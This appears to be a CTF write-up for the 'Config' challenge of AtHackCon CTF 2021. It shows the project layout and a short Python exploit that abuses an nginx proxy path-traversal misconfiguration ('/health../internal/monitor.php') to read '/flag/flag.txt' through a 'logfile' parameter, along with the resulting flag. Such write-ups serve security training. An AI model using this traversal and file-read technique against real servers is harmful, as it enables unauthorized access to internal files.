> For the complete documentation index, see [llms.txt](https://blog.diefunction.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.diefunction.io/ctf/technology-control-company/athackcon-ctf-2021/config.md).

# Config

## [Project ](https://github.com/Diefunction/tcc-ctf/tree/main/config)

#### Structure

```
config
├── health-app/ 
│   ├── external/ 
│       └── index.php 
│   ├── flag/ 
│       └── flag.txt
│   ├── internal/ 
│       ├── index.php 
│       └── monitor.php
│   └── Dockerfile 
└── nginx-proxy/ 
    ├── Dockerfile
    └── nginx.conf
```

## Solution

Install pip

```
sudo apt install python3-pip
```

Install requests

```
python3 -m pip install requests
```

Exploit

```python
from requests import post

host = '127.0.0.1'
port = '8001'

payload = {
    'logfile': '/flag/flag.txt'
}
flag = post(f'http://{host}:{port}/health../internal/monitor.php', data = payload).text
print(flag)
```

Run the script

```
python3 exploit.py
```

Output

```
TCC{n91NX_rpR0xY_M15C0nF19Ur4t10n}<br>
```